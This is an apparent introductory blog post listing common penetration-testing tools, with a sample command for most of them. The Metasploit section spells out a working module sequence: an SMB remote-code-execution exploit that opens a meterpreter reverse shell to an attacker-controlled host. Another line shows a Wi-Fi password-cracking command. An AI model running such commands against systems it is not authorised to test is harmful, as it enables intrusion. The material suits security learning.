Pentesting, or penetration testing, is the process of simulating an attack on a computer system, network or web application to evaluate its security. It’s an essential part of maintaining the security of any organization, and there are many tools available to help with this task. In this blog post, we’ll take a look at some of the best pentesting tools that are currently available.
1. Nmap
Nmap (Network Mapper) is a free and open-source tool that is widely used for network exploration and security auditing. It can be used to discover hosts and services on a computer network, and can also be used to identify vulnerabilities and security weaknesses. Nmap is available for Windows, Linux, and macOS.

```
nmap -sS -sV -p- -oA scanme scanme.nmap.org
```
2. Metasploit
Metasploit is a powerful tool for exploiting vulnerabilities in computer systems. It’s a commercial product, but a free version is available for personal use. Metasploit can be used to launch various types of attacks, including remote code execution, privilege escalation, and denial of service.

```
use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
run
```
3. Wireshark
Wireshark is a free and open-source packet analyzer that can be used to capture and analyze network traffic. It’s an essential tool for network administrators and security professionals, as it can be used to identify network issues and security vulnerabilities.

```
tshark -i eth0 -w capture.pcap
```
4. Aircrack-ng
Aircrack-ng is a collection of tools for wireless network security. It includes a suite of tools for cracking Wi-Fi passwords, monitoring wireless networks, and analyzing wireless traffic. Aircrack-ng is available for Windows, Linux, and macOS.

```
aircrack-ng capture.cap
```
5. Burp Suite
Burp Suite is a web application security testing tool. It’s a commercial product, but a free version is available for personal use. Burp Suite can be used to perform various types of web application security testing, including vulnerability scanning, penetration testing, and manual testing.

These are just a few examples of the many pentesting tools that are available. Each has its own strengths and weaknesses, and the best tool for a particular task will depend on the specific situation. But with this shortlist you can start your journey of exploring the cyber security world.
Note: The above mentioned codes and images are just for representation purpose,